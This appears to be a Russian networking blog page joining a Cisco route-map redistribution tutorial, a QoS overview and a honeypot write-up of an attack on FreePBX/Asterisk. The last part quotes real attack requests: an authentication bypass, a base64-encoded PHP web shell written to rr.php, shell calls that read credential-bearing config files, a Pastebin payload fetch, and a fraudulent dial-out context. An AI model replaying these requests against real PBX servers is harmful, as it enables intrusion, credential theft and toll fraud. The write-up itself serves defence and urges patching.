По вашему запросу ничего не найдено :(
Убедитесь, что запрос написан правильно, или посмотрите другие
наши статьи:
В предыдущей статье мы рассмотрели необходимость перераспределения маршрутов, а также рассмотрели некоторые примеры конфигурации. Эта статья основана на предыдущей конфигурации и рассматривает возможность фильтрации маршрутов с помощью карт маршрутов.
В частности, в предыдущем примере показано взаимное перераспределение маршрутов между EIGRP и OSPF, где все маршруты были перераспределены между двумя автономными системами. Однако некоторые сценарии проектирования могут потребовать, чтобы мы предотвратили перераспределение каждого отдельного маршрута. Один из способов сделать эту фильтрацию - использовать карту маршрутов.
Для справки, вот топология, с которой мы работаем:
Кроме того, с нашей текущей конфигурацией перераспределения маршрутов таблица IP-маршрутизации на роутере OFF1 выглядит следующим образом:
Скажем, по какой-то причине мы не хотим, чтобы сеть 192.168.2.0 /24 была перераспределена из EIGRP в OSPF. Один из способов сделать эту фильтрацию - использовать карту маршрутов, которая ссылается на список управления доступом (ACL).
Во-первых, давайте перейдем к роутеру CENTR и создадим ACL, который соответствует сети, которую мы хотим отфильтровать.
CENTR # conf term
Enter configuration commands, one per line. End with CNTL/Z.
CENTR (config) access-list 1 permit 192.168.2.0 0.0.0.255
Обратите внимание на использование ключевого слова permit в ACL. В этом контексте слово permit одно из ключевых среди match, notallow. Далее мы будем ссылаться на этот ACL в карте маршрутов, и это карта маршрутов, расскажет, что мы хотим запретить этой сети быть перераспределенной. Вот как мы можем создать эту карту маршрута:
CENTR (config)# route-map LAB deny 10
CENTR (config-route-map) # match ip address 1
CENTR (config-route-map) #exit
CENTR (config)# route-map LAB permit 20
CENTR (config-route-map) exit
CENTR (config)#
Обратите внимание, что у нас есть два оператора route-map с порядковыми номерами 10 и 20. Как и в ACL, route-map обрабатываются сверху вниз. В этом примере мы хотим запретить сеть 192.168.2.0 / 24 с порядковым номером 10. Затем, чтобы разрешить перераспределение всего остального трафика, мы создаем инструкцию route-map с порядковым номером 20. Обратите внимание, что в отличие от предыдущего оператора route-map (который содержал ключевое слово deny), этот оператор route-map содержит ключевое слово permit. В результате, без необходимости указывать условие соответствия, мы сопоставляем (и разрешаем) все остальные маршруты.
Далее, давайте применим нашу карту маршрута к команде redistribute в нашем процессе маршрутизации OSPF на роутере CENTR. В настоящее время команда redistribute для процесса маршрутизации OSPF выглядит следующим образом: edistribute eigrp 1 metric-type 1 subnets
То, что мы хотим сделать - это переписать эту команду, добавив ссылку на нашу недавно созданную карту маршрутов.
CENTR (config)# router ospf 1
CENTR (config-router)# redistribute eigrp 1 metric-type 1 subnets route-map LAB
CENTR (config-router)#end
CENTR#
Теперь давайте вернемся к роутеру OFF1 и посмотрим, исчезла ли сеть 192.168.2.0/24 из таблицы IP-маршрутизации.
Все отлично! Маршрут 192.168.2.0/24 был успешно отфильтрован. В следующей статье мы рассмотрим, как можно устранить неполадки с перераспределением маршрутов.
Продолжаем рассказывать про механизмы QoS (Quality of Service) . Мы уже рассказаывали про то, какие проблемы могут быть в сети и как на них может повлиять QoS. В этой статье мы поговорим про механизмы работы QoS.
Механизмы QoS
В связи с тем, что приложения могут требовать различные уровни QoS, возникает множество моделей и механизмов, чтобы удовлетворить эти нужды.
Рассмотрим следующие модели:
Best Effort –негарантированная доставка используется во всех сетях по умолчанию. Положительная сторона заключается в том, что эта модель не требует абсолютно никаких усилий для реализации. Не используются никакие механизмы QoS, весь трафик обслуживается по принципу “пришел первым – обслужили первым”. Такая модель не подходит для современных сетевых сред;
Integrated Services (IntServ) – эта модель интегрированного обслуживания использует метод резервирования. Например, если пользователь хотел сделать VoIP вызов 80 Кбит/с по сети передачи данных, то сеть, разработанная исключительно для модели IntServ, зарезервировала бы 80 Кбит/с на каждом сетевом устройстве между двумя конечными точками VoIP, используя протокол резервирования ресурсов RSVP (Resource Reservation Protocol) . На протяжении звонка эти 80 Кбит/с будут недоступны для другого использования, кроме как для VoIP звонка. Хотя модель IntServ является единственной моделью, обеспечивающей гарантированную пропускную способность, она также имеет проблемы с масштабируемостью. Если сделано достаточное количество резервирований, то сеть просто исчерпает полосу пропускания;
Differentiated Services (DiffServ) – модель дифференцированного обслуживания является самой популярной и гибкой моделью для использования QoS. В этой модели можно настроить каждое устройство так, чтобы оно могло использовать различные методы QoS, в зависимости от типа трафика. Можно указать какой трафик входит в определенный класс и как этот класс должен обрабатываться. В отличие от модели IntServ, трафик не является абсолютно гарантированным, поскольку сетевые устройства не полностью резервируют полосу пропускания. Однако DiffServ получает полосу, близкую к гарантированной полосе пропускания, в то же время решая проблемы масштабируемости IntServ. Это позволило этой модели стать стандартной моделью QoS;
Инструменты QoS
Сами механизмы QoS представляют собой ряд инструментов, которые объединяются для обеспечения уровня обслуживания, который необходим трафику. Каждый из этих инструментов вписывается в одну из следующих категорий:
Классификация и разметка (Classification and Marking) - Эти инструменты позволяют идентифицировать и маркировать пакет, чтобы сетевые устройства могли легко идентифицировать его по мере пересечения сети. Обычно первое устройство, которое принимает пакет, идентифицирует его с помощью таких инструментов, как списки доступа (access-list), входящие интерфейсы или deep packet inspection (DPI), который рассматривает сами данные приложения. Эти инструменты могут быть требовательны к ресурсам процессора и добавлять задержку в пакет, поэтому после того как пакет изначально идентифицирован, он сразу помечается. Маркировка может быть в заголовке уровня 2 (data link), позволяя коммутаторам читать его и/или заголовке уровня 3 (network), чтобы маршрутизаторы могли его прочитать. Для второго уровня используется протокол 802.1P, а для третьего уровня используется поле Type of Service. Затем, когда пакет пересекает остальную сеть, сетевые устройства просто смотрят на маркировку, чтобы классифицировать ее, а не искать глубоко в пакете;
Управление перегрузками (Congestion Management)– Перегрузки возникают, когда входной буфер устройства переполняется и из-за этого увеличивается время обработки пакета. Стратегии очередей определяют правила, которые маршрутизатор должен применять при возникновении перегрузки. Например, если интерфейс E1 WAN был полностью насыщен трафиком, маршрутизатор начнет удерживать пакеты в памяти (очереди), чтобы отправить их, когда станет доступна полоса пропускания. Все стратегии очередей направлены на то, чтобы ответить на один вопрос: “когда есть доступная пропускная способность, какой пакет идет первым?“;
Избегание заторов (Congestion Avoidance) – Большинство QoS механизмов применяются только тогда, когда в сети происходит перегрузка. Целью инструментов избегания заторов является удаление достаточного количества пакетов несущественного (или не очень важного) трафика, чтобы избежать серьезных перегрузок, возникающих в первую очередь;
Контроль и шейпинг (Policing and Shaping) – Этот механизм ограничивает пропускную способность определенного сетевого трафика. Это полезно для многих типичных «пожирателей полосы» в сети: p2p приложения, веб-серфинг, FTP и прочие. Шейпинг также можно использовать, чтобы ограничить пропускную способность определенного сетевого трафика. Это нужно для сетей, где допустимая фактическая скорость медленнее физической скорости интерфейса. Разница между этими двумя механизмами заключается в том, что shaping формирует очередь из избыточного трафика, чтобы выслать его позже, тогда как policing обычно сбрасывает избыточный трафик;
Эффективность линков (Link Efficiency) – Эта группа инструментов сосредоточена на доставке трафика наиболее эффективным способом. Например, некоторые низкоскоростные линки могут работать лучше, если потратить время на сжатие сетевого трафика до его отправки (сжатие является одним из инструментов Link Efficiency);
Механизмы Link Efficiency
При использовании медленных интерфейсов возникают две основных проблемы:
Недостаток полосы пропускания затрудняет своевременную отправку необходимого объема данных;
Медленные скорости могут существенно повлиять на сквозную задержку из-за процесса сериализации (количество времени, которое маршрутизатору требуется на перенос пакета из буфера памяти в сеть). На этих медленных линках, чем больше пакет, тем дольше задержка сериализации;
Чтобы побороть эти проблемы были разработаны следующие Link Efficiency механизмы:
Сжатие полезной нагрузки (Payload Compression) – сжимает данные приложения, оправляемые по сети, поэтому маршрутизатор отправляет меньше данных, по медленной линии;
Сжатие заголовка (Header Compression) – Некоторый трафик (например, такой как VoIP) может иметь небольшой объем данных приложения (RTP-аудио) в каждом пакете, но в целом отправлять много пакетов. В этом случае количество информации заголовка становится значимым фактором и часто потребляет больше полосы пропускания, чем данные. Сжатие заголовка решает эту проблему напрямую, устраняя многие избыточные поля в заголовке пакета. Удивительно, что сжатие заголовка RTP, также называемое сжатым транспортным протоколом реального времени (Compressed Real-time Transport Protocol - cRTP) уменьшает 40-байтовый заголовок до 2-4 байт!;
Фрагментация и чередование (Link Fragmentation and Interleaving) - LFI решает проблему задержки сериализации путем измельчения больших пакетов на более мелкие части до их отправки. Это позволяет маршрутизатору перемещать критический VoIP-трафик между фрагментированными частями данных (которые называются «чередованием» голоса);
Алгоритмы очередей
Постановка в очереди (queuing) определяет правила, которые маршрутизатор должен применять при возникновении перегруженности. Большинство сетевых интерфейсов по умолчанию используют базовую инициализацию First-in, First-out (FIFO) . В этом методе сначала отправляется любой пакет, который приходит первым. Хотя это кажется справедливым, не весь сетевой трафик создается равным. Основная задача очереди - обеспечить, чтобы сетевой трафик, обслуживающий критически важные или зависящие от времени бизнес-приложения, отправлялся перед несущественным сетевым трафиком. Помимо очередности FIFO используются три первичных алгоритма очередности:
Weighted Fair Queuing (WFQ)– WFQ пытается сбалансировать доступную полосу пропускания между всеми отправителями равномерно. Используя этот метод, отправитель с высокой пропускной способностью получает меньше приоритета, чем отправитель с низкой пропускной способностью;
Class-Based Weighted Fair Queuing (CBWFQ) – этот метод массового обслуживания позволяет указать гарантированные уровни пропускной способности для различных классов трафика. Например, вы можете указать, что веб-трафик получает 20 процентов полосы пропускания, тогда как трафик Citrix получает 50 процентов пропускной способности (вы можете указать значения как процент или конкретную величину полосы пропускания). Затем WFQ используется для всего неуказанного трафика (остальные 30 процентов в примере);
Low Latency Queuing (LLQ) - LLQ часто упоминается как PQ-CBWFQ, потому работает точно так же, как CBWFQ, но добавляется компонент приоритета очередей (Priority Queuing - PQ). Если вы указываете, что определенный сетевой трафик должен идти в приоритетную очередь, то маршрутизатор не только обеспечивает пропускную способность трафика, но и гарантирует ему первую полосу пропускания. Например, используя чистый CBWFQ, трафику Citrix может быть гарантированно 50% пропускной способности, но он может получить эту полосу пропускания после того, как маршрутизатор обеспечит некоторые другие гарантии трафика. При использовании LLQ приоритетный трафик всегда отправляется перед выполнением любых других гарантий. Это очень хорошо работает для VoIP, делая LLQ предпочтительным алгоритмом очередей для голоса;
Существует много других алгоритмов для очередей, эти три охватывают методы, используемые большинством современных сетей
Привет друг! Ты наверняка слышал что-то про взлом IP-АТС, когда злоумышленники звонят в другие страны по международной связи, а жертве приходит большой счёт от провайдера. К большому сожалению – это правда и сейчас я по косточкам разберу метод такой атаки на IP-АТС Asterisk с графической оболочкой FreePBX, который позволяет плохим парням бесчестно наживаться на чужих ошибках, чтобы ты мог защитить себя и не стать очередной жертвой, за счёт которой позвонили в Сомали.
TL;DR: Графический интерфейс FreePBX имеет уязвимости удаленного исполнения кода (RCE – Remote Code Execution), в различных компонентах. Вот некоторые из них:
CVE-2014-7235 – Уязвимость в ARI Framework (Asterisk Recording Interface - ARI) в FreePBX версий 2.9.0.9, 2.10.x, и 2.11 до 2.11.1.5.
SEC-2016-004 - Уязвимость с модулях Hotel Wakeup (все версии между 13.0.1alpha2 и 13.0.14) и System Recordings (все версии между 13.0.1beta1 и 13.0.26)
CVE-2019-19006 (SEC-2019-001) – Уязвимость Framework FreePBX в версиях ниже v13.0.197.13, v14.0.13.11 и v15.0.16.26
Все эти уязвимости позволяют удаленно обойти процесс аутентификации (ну то есть не надо вводить логин и пароль) и выполнять команды на сервере с проблемной версией софта. Злоумышленники используют данные уязвимости для совершения исходящих звонков через свой контекст. Это значит, что если ты оставишь вэб-морду FreePBX открытой всему Интернету (по умолчанию порт 80 HTTP, 443 HTTPS), то рано или поздно – за твой счёт позвонят другие.
Так что НИКОГДА не открывай доступ веб-интерфейсу своей IP-АТС для всего Интернета, и вообще старайся ограничивать доступ к любым портам. А также ВСЕГДА обращай внимание на уведомление об обнаруженных уязвимостях и своевременно устанавливай обновления безопасности на всех продуктах! Но если ты всё же решил оставить свой FreePBX с открытым web-портом и забить на обновления – читай что будет дальше.
Разведка (Reconnaisance)
Прежде чем достичь своей цели (позвонить за твой счёт) злоумышленникам нужно сначала отыскать твой открытый веб-интерфейс FreePBX в сети. Сделать это очень просто, нужно просканировать порты. Для нашей атаки ему нужно найти порт 80 (HTTP), 443 (HTTPS) ну или 8080. Именно на них обычно висит страничка с аутентификацией. Отлично, нашли кучу адресов с торчащим наружу нужным портом, но как понять, что там именно FreePBX с уязвимой версией софта? Есть несколько способов – можно бить по всему подряд в надежде, что сервер уязвим, можно написать скрипт, который будет собирать дополнительную информацию (так называемые баннеры) о версии FreePBX. По умолчанию – установленная версия отображается на той же страничке с окном аутентификации. Давайте откроем лог HTTP-обращений к нашему серверу (его можно найти вот тут: /var/log/httpd/access_log) и посмотрим, как действуют злоумышленники.
Чтобы воочию наблюдать за тем как нас ломают, мы создали, так называемую ловушку (Honeypot) – это намеренно непропатченный, уязвимый сервер для того чтобы изучать действия хакеров. Мы установили на него FreePBX 13 версии и выставили наружу вэб-интерфейс (открыли всему миру 80 и 443 порты)
Примерно через час после “открытия” нашей ловушки, мы увидели такую картину:
На картинке показаны обращения к ресурсам нашего сервера (11.22.33.44), ответы от него и User-Agent’ы, с которых осуществлялись обращения. Например, рассмотрим следующее обращение:
169.197.108.42 - - [30/May/2020:11:35:57 +0300] "GET /admin HTTP/1.1" 301 316 "https://11.22.33[.]44/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
Здесь:
169.197.108[.]42 – адрес, с которого осуществлялось обращение;
GET /admin - запрос страницы https://11.22.33[.]44/admin;
301 – ответ HTTP 302 (Moved Permanently – Перемещено навсегда). Ответ сервера, означающий, что запрашиваемый ресурс (страница https://11.22.33[.]44/admin ) был перемещен;
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" - User Agent Google Chrome версии 60 для Windows 10. Это значит, что для доступа к ресурсу https://11.22.33[.]44/admin был использован браузер Chrome.
Для большей наглядности, мы выделили счастливчиков, которые нашли то, что искали (им сервер ответил 200 ОК и вернул запрашиваемую информацию). В их числе:
169.197.108[.]42
198.108.66[.]192
45.143.221[.]50
173.212.225[.]214
45.143.220[.]111
Если присмотреться внимательнее, то можно увидеть, что все они нашли одно и то же - /admin/config.php, но давайте посмотрим на действия 173.212.225[.]214.
Обратите внимание, что он также пытается обращаться к ресурсам явно не относящимся к FreePBX (/vtigercrm/vtigerservice.php, /a2billing/admin/Public/index.php), а когда находит /admin/config.php , сразу же безуспешно пытается исполнить интересный скрипт:
/rr.php?yokyok=cat%20/etc/amportal.conf;%20cat%20/etc/asterisk/sip_additional.conf HTTP/1.1" 404 284 "-" "libwww-perl/6.42"
/admin/config.php?password%5B0%5D=BADR&username=admin HTTP/1.1" 500 53870 "-" "python-requests/2.22.0"
/admin/ajax.php?module=asterisk-cli&command=clicmd&data=channel%20originate%20local/*78@from-internal%20application%20system%20%22echo%20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg==%7C%20base64%20-d%20%3E%20/var/www/html/rr.php%22 HTTP/1.1" 403 43 "https://11.22.33.44:443//admin/config.php?display=cli" "python-requests/2.22.0"
/admin/config.php?password%5B0%5D=BADR&username=admin HTTP/1.1" 500 53870 "-" "python-requests/2.22.0"
Доставка (Delivery)
Эти обращения – есть ни что иное как попытка создания скрипта на нашей IP-АТС для совершения исходящих звонков. Однако хоть нас и обнаружили, злоумышленнику не удаётся обратиться к нужному компоненту – скрипту /rr.php, сервер отвечает сообщением HTTP 403 (Forbidden).
Обратите также внимание на User-agent’ы - python-requests/2.22.0 и libwww-perl/6.42. Это уже не просто браузеры, а WWW библиотеки Pearl и Python.
Позднее, кому-то на адресе 45.143.220[.]111 всё-таки удаётся создать /rr.php. Для этого используется уже немного другой User-Agent - "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1062.18.1.el7.x86_64".
Создание rr.php происходит после ввода:
"GET /admin/ajax.php?module=asterisk-cli&command=clicmd&data=channel%20originate%20local/*78@from-internal%20application%20system%20%22echo%20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg==%7C%20base64%20-d%20%3E%20/var/www/html/rr.php%22 HTTP/1.1" 200 32 "https://11.22.33[.]44//admin/config.php?display=cli" "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1062.18.1.el7.x86_64"
Само содержимое скрипта rr.php зашифровано по алгоритму base64 и скрыто вот в этой короткой строчке:
20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg
Вот дешифровка:
Этот небольшой php скрипт нам кладут в директорию /var/www/html/, а дальше начинается самое интересное. Заметили строчку config.php?display=cli? Да, злоумышленники успешно получили доступ к командной строке и теперь могут делать что душе угодно!
Обратите внимание на смену User Agent’а в 16:17:53 – "curl/7.29.0". Это значит, что кто-то через утилиту curl (скорее всего через ту самую командную строку) лезет куда-то ещё. Давайте выясним – зачем?
Инсталляция (Installation)
Для этого откроем другой лог /var/log/httpd/error_log и посмотрим, что происходило за время использования curl.
В глаза сразу же бросается обращение на Pastebin (сайт, куда можно загружать любой текст или код для просмотра всем желающим) по ссылке /raw/Dbnw6kqb. Перейдя по данной ссылке нас встречает уже знакомая кодировка base64, причём код зачем-то повторяется дважды:
Расшифруем:
Вся эта радость сохраняется по пути /var/www/html/badr.php
На самом деле, вариаций этого скрипта довольно много, иногда он скачивается по частям с разных сайтов, иногда в нём можно обнаружить попытки затирания свидетельств компрометации. Как видите, они весьма похожи и их суть довольно проста - украсть наш конфиг Amportal (всю конфигурацию FreePBX с паролями ARI и AMDB), чтобы затем подсунуть нам измененный файл /etc/amportal.conf и собственно создать вредоносный контекст, через который потом можно будет звонить.
Управление (Command & Control)
Мы, а точнее плохие парни, почти на финишной прямой. Помнишь про простенький вредоносный скрипт rr.php, который нам недавно подсунули? Самое время вернуться к нему!
Напомню – это простенький php-скрипт, который просит всего одну переменную - yokyok и позволяет передать в неё абсолютно любой параметр. Пользуясь этой замечательной возможностью, хакеры передают туда (время 16:17:51 и 54) измененный конфигурационный файл /etc/amportal.conf и изменённый файл /etc/asterisk/sip_additional.conf.
Как можно догадаться – в sip_additional.conf у нас теперь есть вредоносный контекст, который и позволит злоумышленникам звонить за наш счёт. Вот он:
[badr-outcall]; thankuohoh
exten => _.,1,Macro(user-callerid,LIMIT,EXTERNAL,); thankuohoh
exten => _.,n,Set(MOHCLASS=${IF($["${MOHCLASS}"=""]?default:${MOHCLASS})});
thankuohoh
exten => _.,n,Set(_NODEST=); thankuohoh
exten => _.,n,Macro(dialout-trunk,1,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,2,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,3,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,7,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(outisbusy,); thankuohoh
PROFIT (Actions on Objectives)
Ну чтож, как говорится:
Как ты, наверное, уже понял – звонить они тоже будут через rr.php и yokyok. Захотели позвонить в Уганду или на Сейшельские острова? Пожалуйста:
45.143.220.111 - - [31/May/2020:16:25:14 +0300] "GET /rr.php?yokyok=cat%20/etc/asterisk/sip_additional.conf;%20/usr/sbin/asterisk%20-rx%20'channel%20originate%20Local/810256207815086@thanku-outcall%20application%20wait%201600' HTTP/1.1" 200 16290 "-" "libwww-perl/6.05"
45.143.220.111 - - [31/May/2020:16:55:06 +0300] "GET /rr.php?yokyok=cat%20/etc/asterisk/sip_additional.conf;%20/usr/sbin/asterisk%20-rx%20'channel%20originate%20Local/8102486420077@thanku-outcall%20application%20wait%201600' HTTP/1.1" 200 16290 "-" "libwww-perl/6.05"
А ты потом будешь наблюдать в CDR Reports такую картинку и платить провайдеру по счетам:
Ну хоть “спасибо” сказали. Ты же заметил, как называется контекст, который нам сделали - thankuohoh? Жаль нельзя прослушать о чём они там говорили.. ?
Ну, а если не хочешь, чтобы и твой Asterisk тоже достался хакерам – скорее беги закрывать 443, 80, 8080 и устанавливать последние обновления безопасности!
PS: Кстати, нашу ловушку явно пробили через уязвимость CVE-2019-19006 (SEC-2019-001):
[SECURITY] (BMO/Notifications.class.php:507) - [NOTIFICATION]-[freepbx]-[VULNERABILITIES] - There is 1 module vulnerable to security threats (framework (Cur v. 13.0.195.4) should be upgraded to v. 13.0.197.14 to fix security issues: SEC-2019-001
[INFO] (bin/module_admin:631) - framework 13.0.195.4 Online upgrade available (13.0.197.14)